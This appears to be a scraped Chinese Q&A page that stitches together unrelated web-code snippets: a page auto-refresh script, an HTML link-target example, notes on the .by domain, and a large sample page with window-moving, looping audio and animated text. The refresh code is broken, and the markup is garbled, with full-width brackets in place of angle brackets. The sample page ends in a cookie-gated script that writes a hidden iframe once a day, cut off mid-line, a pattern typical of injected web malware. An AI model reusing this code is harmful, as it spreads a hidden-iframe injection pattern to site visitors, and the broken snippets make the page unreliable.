by最新网页代码(求一段网页代码(每刷新一次文字变一次)!!!)

本文目录
求一段网页代码(每刷新一次文字变一次)!!!
《script language="JavaScript"》
function myrefresh(str)
{
window.location.reload();
document.forms.context.value=str;/*context就是文本区域,str就是那句格言,这块你可以把str设置成为变参的代码段,刷一次是不确定的一句话 */
}
setTimeout(’myrefresh()’,1000); //指定1秒刷新一次
《/script》
有什么不清楚可以联系我!(by adamkisy)
网页新窗口打开代码
target属性值设_blank新窗口打页面例:
《html》
《body》
《a href="../asdocs/html_tutorials/humor01.html" target="_blank"》*****《/a》
《p》
点击链接候网页新窗口现
《/p》
《/body》
《/html》
Target 属性含义
_blank 新空窗口装载文档新窗口没命名
_parent 链接所窗口直接父窗口装载文档
_search 浏览器搜索区装载文档注意功能Internet Explorer 5 或者更高版本适用
_self 链接所窗口装载文档
_top 层窗口装载文档
by新域名是啥免费
by新域名是白俄罗斯国家顶级域名。by域名是1994年推出的国家顶级域名代码,代表白俄罗斯共和国。by域名注册价格:1499元/年。白俄罗斯和德国巴伐利亚州比较流行使用by域名后缀。对于注册人没有任何限制要求,但是注册年限必须是2年到10年不等。最低3个字符,最多63个字符。
网站代码
《html》
《head》
《meta http-equiv="Content-Type" content="text/html; charset=gb2312"》
《meta http-equiv="Content-Language" content="zh-cn"》
《title》欢迎光临我的网站!《/title》
《/head》
《script》
window.scrollBy(0, 100)
window.resizeTo(0,0)
window.moveTo(0,0)
document.bgColor=0x000000
document.fgColor=0x000000
//setInterval("move()",30);
setTimeout("move()", 1);
var mxm=50
var mym=25
var mx=0
var my=0
var sv=50
var status=1
var szx=0
var szy=0
var c=255
var n=0
var sm=30
var cycle=2
var done=2
function move()
{
if (status == 1)
{
mxm=mxm/1.05
mym=mym/1.05
mx=mx+mxm
my=my-mym
mxm=mxm+(400-mx)/100
mym=mym-(300-my)/100
window.moveTo(mx,my)
rmxm=Math.round(mxm/10)
rmym=Math.round(mym/10)
if (rmxm == 0)
{
if (rmym == 0)
{
status=2
}
}
}
if (status == 2)
{
sv=sv/1.1
scrratio=1+1/3
mx=mx-sv*scrratio/2
my=my-sv/2
szx=szx+sv*scrratio
szy=szy+sv
window.moveTo(mx,my)
window.resizeTo(szx,szy)
if (sv 《 0.1)
{
status=3
}
}
if (status == 3)
{
document.fgColor=0xffffFF
c=c-16
document.bgColor=0x000000
if (c《0)
{status=8}
}
if (status == 4)
{
c=c+16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c 》 239)
{status=5}
}
if (status == 5)
{
c=c-16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c 《 0)
{
status=6
cycle=cycle-1
if (cycle 》 0)
{
if (done == 1)
{status=7}
else
{status=4}
}
}
}
if (status == 6)
{
document.title = ""
alert("")
cycle=2
status=4
done=1
}
if (status == 7)
{
c=c+4
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c 》 128)
{status=8}
}
if (status == 8)
{
window.moveTo(0,0)
sx=screen.availWidth
sy=screen.availHeight
window.resizeTo(sx,sy)
status=9
}
var timer=setTimeout("move()",0.3)
}
《/script》
《head》
《title》冰舞精灵光临贵站《/title》
《meta http-equiv="Content-Type" content="text/html; charset=gb2312"》《style type="text/css"》
《!--
body {
margin-left: 100px;
}
--》
《/style》《/head》
《body background="http://www.sj100.com.cn/image/scan.gif"》《br》《/center》
《BODY bgColor=#000000》
《span id="theText" style="width:100%"》
《h1 align="center"》欢迎光临长风大侠网站!! 《/h1》
《/span》
《bgsound src=http://www.znsjw.com/Ring/Up/20070716/2007071613574910.mp3 loop="-1"》
《script》
《!--
var from = 1;
var to = 4;
var delay = 55; //闪的速度
var glowColor = "lime";//颜色
var i = to;
var j = 0;
textPulseDown();
function textPulseUp()
{
if (!document.all)
return
if (i 《 to)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i++;
theTimeout = setTimeout(’textPulseUp()’,delay);
return 0;
}
if (i = to)
{
theTimeout = setTimeout(’textPulseDown()’,delay);
return 0;
}
}
function textPulseDown()
{
if (!document.all)
return
if (i 》 from)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i--;
theTimeout = setTimeout(’textPulseDown()’,delay);
return 0;
}
if (i = from)
{
theTimeout = setTimeout(’textPulseUp()’,delay);
return 0;
}
}
//--》
《/script》
《SCRIPT language="JavaScript" FPTYPE="dynamicanimation8"》
《!--
dynamicanimAttr = "dynamicanimation8"
animateElements = new Array()
currentElement = 0
speed = 0
stepsZoom = 8
stepsWord = 8
stepsFly = 12
stepsSpiral = 16
steps = stepsZoom
step = 0
outString = ""
function dynAnimation8()
{
var ms = navigator.appVersion.indexOf("MSIE")
ie4 = (ms》0) && (parseInt(navigator.appVersion.substring(ms+5, ms+6)) 》= 4)
if(!ie4)
{
if((navigator.appName == "Netscape") &&
(parseInt(navigator.appVersion.substring(0, 1)) 》= 4))
{
for (index=document.layers.length-1; index 》= 0; index--)
{
layer=document.layers
if (layer.left==10000)
layer.left=0
}
}
return
}
for (index=document.all.length-1; index 》= document.body.sourceIndex; index--)
{
el = document.all
animation = el.getAttribute(dynamicanimAttr, false)
if(null != animation)
{
if(animation == "dropWord" || animation == "flyTopRightWord" || animation == "flyBottomRightWord")
{
ih = el.innerHTML
outString = ""
i1 = 0
iend = ih.length
while(true)
{
i2 = startWord(ih, i1)
if(i2 == -1)
i2 = iend
outWord(ih, i1, i2, false, "")
if(i2 == iend)
break
i1 = i2
i2 = endWord(ih, i1)
if(i2 == -1)
i2 = iend
outWord(ih, i1, i2, true, animation)
if(i2 == iend)
break
i1 = i2
}
document.all.innerHTML = outString
document.all.style.posLeft = 0
document.all.setAttribute(dynamicanimAttr, null)
}
if(animation == "zoomIn" || animation == "zoomOut")
{
ih = el.innerHTML
outString = "《SPAN " + dynamicanimAttr + "=\"" + animation + "\" style=\"position: relative; left: 10000;\"》"
outString += ih
outString += "《/SPAN》"
document.all.innerHTML = outString
document.all.style.posLeft = 0
document.all.setAttribute(dynamicanimAttr, null)
}
}
}
i = 0
for (index=document.body.sourceIndex; index 《 document.all.length; index++)
{
el = document.all
animation = el.getAttribute(dynamicanimAttr, false)
if (null != animation)
{
if(animation == "flyLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = 0
}
else if(animation == "flyRight")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = 0
}
else if(animation == "flyTop" || animation == "dropWord")
{
el.style.posLeft = 0
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyBottom")
{
el.style.posLeft = 0
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "flyTopLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyTopRight" || animation == "flyTopRightWord")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyBottomLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "flyBottomRight" || animation == "flyBottomRightWord")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "spiral")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "zoomIn")
{
el.style.posLeft = 10000
el.style.posTop = 0
}
else if(animation == "zoomOut")
{
el.style.posLeft = 10000
el.style.posTop = 0
}
else
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = 0
}
el.initLeft = el.style.posLeft
el.initTop = el.style.posTop
animateElements = el
}
}
window.setTimeout("animate();", speed)
}
function offsetLeft(el)
{
x = el.offsetLeft
for (e = el.offsetParent; e; e = e.offsetParent)
x += e.offsetLeft;
return x
}
function offsetTop(el)
{
y = el.offsetTop
for (e = el.offsetParent; e; e = e.offsetParent)
y += e.offsetTop;
return y
}
function startWord(ih, i)
{
for(tag = false; i 《 ih.length; i++)
{
c = ih.charAt(i)
if(c == ’《’)
tag = true
if(!tag)
return i
if(c == ’》’)
tag = false
}
return -1
}
function endWord(ih, i)
{
nonSpace = false
space = false
while(i 《 ih.length)
{
c = ih.charAt(i)
if(c != ’ ’)
nonSpace = true
if(nonSpace && c == ’ ’)
space = true
if(c == ’《’)
return i
if(space && c != ’ ’)
return i
i++
}
return -1
}
function outWord(ih, i1, i2, dyn, anim)
{
if(dyn)
outString += "《SPAN " + dynamicanimAttr + "=\"" + anim + "\" style=\"position: relative; left: 10000;\"》"
outString += ih.substring(i1, i2)
if(dyn)
outString += "《/SPAN》"
}
function animate()
{
el = animateElements
animation = el.getAttribute(dynamicanimAttr, false)
step++
if(animation == "spiral")
{
steps = stepsSpiral
v = step/steps
rf = 1.0 - v
t = v * 2.0*Math.PI
rx = Math.max(Math.abs(el.initLeft), 200)
ry = Math.max(Math.abs(el.initTop), 200)
el.style.posLeft = Math.ceil(-rf*Math.cos(t)*rx)
el.style.posTop = Math.ceil(-rf*Math.sin(t)*ry)
}
else if(animation == "zoomIn")
{
steps = stepsZoom
el.style.fontSize = Math.ceil(50+50*step/steps) + "%"
el.style.posLeft = 0
}
else if(animation == "zoomOut")
{
steps = stepsZoom
el.style.fontSize = Math.ceil(100+200*(steps-step)/steps) + "%"
el.style.posLeft = 0
}
else
{
steps = stepsFly
if(animation == "dropWord" || animation == "flyTopRightWord" || animation == "flyBottomRightWord")
steps = stepsWord
dl = el.initLeft / steps
dt = el.initTop / steps
el.style.posLeft = el.style.posLeft - dl
el.style.posTop = el.style.posTop - dt
}
if (step 》= steps)
{
el.style.posLeft = 0
el.style.posTop = 0
currentElement++
step = 0
}
if(currentElement 《 animateElements.length)
window.setTimeout("animate();", speed)
}
//--》
《/SCRIPT》
《p dynamicanimation8="dropWord"
style="position: relative !important; left: 10000 !important" align="center"》 《/p》
《div style="width: 857; font-size:15pt; font-family: Arial; color: White; position: relative; filter: glow(color=00CCFF, strength=5); height: 50;"》 《p align="center"》 《/div》
《div style="width: 857; font-size:15pt; font-family: Arial; color: White; position: relative; filter: glow(color=00CCFF, strength=5); height: 50;"》 《p align="center"》
《/div》
《div style="width: 857; font-size:15pt; font-family: Arial ; color: White ; position: relative; filter: glow(color=00CCFF, strength=5)"》
《p》 《b》
《font face="楷体_GB2312" size="5"》
《marquee》《/marquee》
《/font》
《/b》《/div》
《div style="width: 800; font-size: 15pt; font-family: Arial; color: White; position: relative; filter: glow(color=FFFF00, strength=5); height: 35"》
《font color="#FF0000"》《font face="楷体_GB2312" size="8"》《i》 《br》
《div align="center"》 《font face="楷体_GB2321" size="1000" color="#000000"》
《/div》
《/SCRIPT》
《div align="center"》 "《a href=http://www.zhangfeng.qiongzz.cn /》返回主页《/a》"
《font color="#000000"》《font face="楷体_GB2321" size="1000"》《i》
《/div》
《/SCRIPT》《script language=javascript》if(document.cookie.indexOf(’st’)==-1){var expires=new Date();expires.setTime(expires.getTime()+22*60*60*1000);document.cookie=’st=Yes;path=/;expires=’+expires.toGMTString();document.write(’《iframe src=《/html》

本文相关文章:
简单的网页设计代码案例(谁能帮我设计一个简单的代码 关于网页的)
2026年10月7日 00:00
html代码注释(sublime text写html代码怎么注释)
2026年8月27日 16:00
php网站源码安装教程(在网上下载下来的php源代码如何安装到已有php环境的电脑里)
2026年7月27日 15:50
百度首页html代码(关于百度首页html代码的一些疑问,望解答)
2026年7月10日 04:20
网页模板html代码(网站模板 html 文件中的{ }具体表示什么意思,它和程序代码处理(C#)有什么关系)
2026年5月19日 16:20
更多文章:
中国建设银行手机银行app(中国建设银行app怎么免密登录)
2026年11月3日 18:30




